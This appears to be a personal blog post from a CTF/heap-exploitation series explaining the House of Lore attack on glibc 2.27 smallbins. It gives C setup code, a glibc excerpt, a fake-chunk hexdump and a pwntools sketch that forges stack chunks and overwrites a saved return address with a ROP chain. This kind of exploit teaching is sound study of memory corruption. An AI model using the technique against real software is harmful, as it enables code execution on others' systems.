algoatson.github.io ~/posts
segfault@algoatson.github.io
back to index

the House of Lore

2026-06-143 min readheap pwn glibc

The fastbin and tcache attacks corrupt singly-linked lists. The House of Lore goes after the smallbins — doubly-linked, exact-size, served from the tail via bk. Overwrite a smallbin chunk's bk to point at a fake chunk and the next-but-one allocation of that size is your fake chunk. With it placed on the stack, malloc hands you a write over a saved return address.

target./lore
arch
amd64-64-little
libc
2.27
technique
overwrite a smallbin chunk's bk -> allocate a fake chunk (e.g. the stack)
needs
control of a smallbin chunk's bk + two fake chunks with fd back-pointers

getting a chunk into a smallbin first#

Smallbins only fill when the allocator sorts the unsorted bin, so the setup is a two-step shuffle: free a small-sized chunk (it lands in the unsorted bin), then make a request that forces a sort, which moves it into its smallbin.

park a victim in its smallbinc
1
2
3
4
5
char *victim = malloc(0x90);    // small-sized
malloc(0x90);                   // guard, so victim doesn't merge with top
// (fill the tcache for this size on glibc >= 2.26 so the free reaches the bins)
free(victim);                   // -> unsorted bin
malloc(0x400);                  // a larger request sorts the unsorted bin -> victim now in smallbin[0x90]

walk the bk into a fake chunk#

Removing a chunk from a smallbin is a partial unlink from the tail, with one guard:

glibc _int_malloc — smallbin path, abridgedc
1
2
3
4
5
6
victim = last (bin);              // tail of the smallbin (via bk)
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim))
    malloc_printerr ("malloc(): smallbin double linked list corrupted");
bin->bk = bck;
bck->fd = bin;

So overwrite victim->bk to point at a fake chunk whose fd points back at victim — that satisfies bck->fd == victim. One allocation returns victim; the next returns your fake chunk. Because the second removal checks the fake chunk's bk->fd too, you chain a second fake chunk behind it:

fake chunk #1 on the stack — fd points back at victimhex
00000000  00 00 00 00 00 00 00 00  a1 00 00 00 00 00 00 00  |................|
00000010  90 e2 ff ff ff 7f 00 00  a0 d3 ff ff ff 7f 00 00  |................|

(fd = &victim, bk = &fake2; fake2->fd = &fake1 keeps the next check happy.)

lore.pypython
from pwn import *
io = process("./lore")
stack = leak_stack()
fake1 = stack + 0x20                       # where you want malloc to return
forge(fake1, fd=victim_addr, bk=fake1+0x20)    # fake1
forge(fake1+0x20, fd=fake1)                     # fake2, fd back-pointer
edit(victim, bk=fake1)                     # corrupt the smallbin chunk's bk
alloc(0x90)                                # == victim
buf = alloc(0x90)                          # == fake1, on the stack
edit(buf, rop_chain)                       # over the saved return address
the shell

fake1 straddles the saved RIP; one write drops a ROP chain and the function returns into it:

txt
segfault{l0r3_st0ry_t1m3}

limitations#

  • you need to control a smallbin chunk's bk (an overflow or UAF into a sorted chunk) and usually a leak for the fake-chunk addresses;
  • the bck->fd == victim check forces the back-pointer dance (hence two fakes);
  • on tcache glibc you must fill the tcachebin so frees reach the smallbins at all.

It's the doubly-linked-list sibling of tcache poisoning: same "allocate where I say," via bk instead of fd. Next, the House of Rabbit — forging a giant free chunk out of the fastbins with almost no primitive at all.